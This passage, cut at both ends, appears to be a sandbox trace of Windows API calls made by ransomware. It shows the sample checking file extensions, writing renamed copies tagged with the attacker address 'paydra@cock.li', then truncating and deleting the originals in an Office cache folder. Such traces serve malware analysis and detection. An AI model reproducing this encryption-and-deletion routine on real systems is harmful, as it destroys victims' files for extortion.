(lpString1=".pdf", lpString2=".xml") returned -1 [0034.068] lstrlenW (lpString=".xls") returned 4 [0034.068] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.068] lstrlenW (lpString=".xlsx") returned 5 [0034.068] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.069] lstrlenW (lpString=".ppt") returned 4 [0034.069] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.069] lstrlenW (lpString=".zip") returned 4 [0034.069] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.069] lstrlenW (lpString=".rar") returned 4 [0034.069] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString=".bz2") returned 4 [0034.069] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString=".7z") returned 3 [0034.069] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.069] lstrlenW (lpString=".dbf") returned 4 [0034.069] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.069] lstrlenW (lpString=".1cd") returned 4 [0034.069] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.069] lstrlenW (lpString=".jpg") returned 4 [0034.069] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.069] lstrlenW (lpString=".doc") returned 4 [0034.069] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString=".docx") returned 5 [0034.069] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.069] lstrlenW (lpString=".pdf") returned 4 [0034.069] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString=".xls") returned 4 [0034.069] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.069] lstrlenW (lpString=".xlsx") returned 5 [0034.069] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.070] lstrlenW (lpString=".ppt") returned 4 [0034.070] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.070] lstrlenW (lpString=".zip") returned 4 [0034.070] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.070] lstrlenW (lpString=".rar") returned 4 [0034.070] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString=".bz2") returned 4 [0034.070] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString=".7z") returned 3 [0034.070] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.070] lstrlenW (lpString=".dbf") returned 4 [0034.070] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.070] lstrlenW (lpString=".1cd") returned 4 [0034.070] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.071] lstrlenW (lpString=".jpg") returned 4 [0034.071] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.071] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.071] lstrlenW (lpString="Setup.xml") returned 9 [0034.071] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.071] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1608) returned 1 [0034.071] CloseHandle (hObject=0x184) returned 1 [0034.071] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.071] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.071] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.071] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.071] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.071] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.072] GetLastError () returned 0x0 [0034.072] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x648, lpOverlapped=0x0) returned 1 [0034.073] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x650, lpOverlapped=0x0) returned 1 [0034.074] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.074] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.074] SetEndOfFile (hFile=0x194) returned 1 [0034.074] CloseHandle (hObject=0x194) returned 1 [0034.075] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.075] SetEndOfFile (hFile=0x184) returned 1 [0034.076] CloseHandle (hObject=0x184) returned 1 [0034.076] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.076] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.077] lstrlenW (lpString=".doc") returned 4 [0034.077] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString=".docx") returned 5 [0034.077] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.077] lstrlenW (lpString=".pdf") returned 4 [0034.077] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString=".xls") returned 4 [0034.077] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString=".xlsx") returned 5 [0034.077] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.077] lstrlenW (lpString=".ppt") returned 4 [0034.077] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.077] lstrlenW (lpString=".zip") returned 4 [0034.077] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.077] lstrlenW (lpString=".rar") returned 4 [0034.077] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString=".bz2") returned 4 [0034.077] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString=".7z") returned 3 [0034.077] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.077] lstrlenW (lpString=".dbf") returned 4 [0034.077] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.077] lstrlenW (lpString=".1cd") returned 4 [0034.077] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.077] lstrlenW (lpString=".jpg") returned 4 [0034.077] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.077] lstrlenW (lpString=".doc") returned 4 [0034.078] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString=".docx") returned 5 [0034.078] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.078] lstrlenW (lpString=".pdf") returned 4 [0034.078] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString=".xls") returned 4 [0034.078] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString=".xlsx") returned 5 [0034.078] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.078] lstrlenW (lpString=".ppt") returned 4 [0034.078] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.078] lstrlenW (lpString=".zip") returned 4 [0034.078] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.078] lstrlenW (lpString=".rar") returned 4 [0034.078] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString=".bz2") returned 4 [0034.078] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString=".7z") returned 3 [0034.078] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.078] lstrlenW (lpString=".dbf") returned 4 [0034.078] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.078] lstrlenW (lpString=".1cd") returned 4 [0034.078] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.078] lstrlenW (lpString=".jpg") returned 4 [0034.078] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.078] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.078] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0034.079] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.079] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3186) returned 1 [0034.079] CloseHandle (hObject=0x184) returned 1 [0034.079] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0034.080] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.080] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.080] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.080] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.080] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.080] GetLastError () returned 0x0 [0034.080] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xc72, lpOverlapped=0x0) returned 1 [0034.082] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0034.082] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.082] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0034.083] SetEndOfFile (hFile=0x194) returned 1 [0034.083] CloseHandle (hObject=0x194) returned 1 [0034.083] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.083] SetEndOfFile (hFile=0x184) returned 1 [0034.084] CloseHandle (hObject=0x184) returned 1 [0034.084] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.084] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0034.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.085] lstrlenW (lpString=".doc") returned 4 [0034.085] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.085] lstrlenW (lpString=".docx") returned 5 [0034.085] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.085] lstrlenW (lpString=".pdf") returned 4 [0034.085] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.085] lstrlenW (lpString=".xls") returned 4 [0034.085] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.085] lstrlenW (lpString=".xlsx") returned 5 [0034.085] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.085] lstrlenW (lpString=".ppt") returned 4 [0034.085] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.085] lstrlenW (lpString=".zip") returned 4 [0034.085] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.085] lstrlenW (lpString=".rar") returned 4 [0034.085] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.085] lstrlenW (lpString=".bz2") returned 4 [0034.085] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.085] lstrlenW (lpString=".7z") returned 3 [0034.085] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.085] lstrlenW (lpString=".dbf") returned 4 [0034.085] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.085] lstrlenW (lpString=".1cd") returned 4 [0034.086] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.086] lstrlenW (lpString=".jpg") returned 4 [0034.086] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.086] lstrlenW (lpString=".doc") returned 4 [0034.086] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.086] lstrlenW (lpString=".docx") returned 5 [0034.086] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.086] lstrlenW (lpString=".pdf") returned 4 [0034.086] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.086] lstrlenW (lpString=".xls") returned 4 [0034.086] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.086] lstrlenW (lpString=".xlsx") returned 5 [0034.086] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.086] lstrlenW (lpString=".ppt") returned 4 [0034.086] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.086] lstrlenW (lpString=".zip") returned 4 [0034.086] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.086] lstrlenW (lpString=".rar") returned 4 [0034.086] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.086] lstrlenW (lpString=".bz2") returned 4 [0034.086] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.086] lstrlenW (lpString=".7z") returned 3 [0034.086] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.086] lstrlenW (lpString=".dbf") returned 4 [0034.086] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.087] lstrlenW (lpString=".1cd") returned 4 [0034.087] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.087] lstrlenW (lpString=".jpg") returned 4 [0034.087] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.087] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.087] lstrlenW (lpString="Setup.xml") returned 9 [0034.087] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.087] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4207) returned 1 [0034.087] CloseHandle (hObject=0x184) returned 1 [0034.087] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.087] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.087] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.087] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.087] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.088] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.088] GetLastError () returned 0x0 [0034.088] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x106f, lpOverlapped=0x0) returned 1 [0034.089] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0034.090] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.090] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.090] SetEndOfFile (hFile=0x194) returned 1 [0034.090] CloseHandle (hObject=0x194) returned 1 [0034.091] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.091] SetEndOfFile (hFile=0x184) returned 1 [0034.092] CloseHandle (hObject=0x184) returned 1 [0034.092] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.092] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.092] lstrlenW (lpString=".doc") returned 4 [0034.092] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.092] lstrlenW (lpString=".docx") returned 5 [0034.093] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.093] lstrlenW (lpString=".pdf") returned 4 [0034.093] lstrcmpiW (lpString1=".pdf", 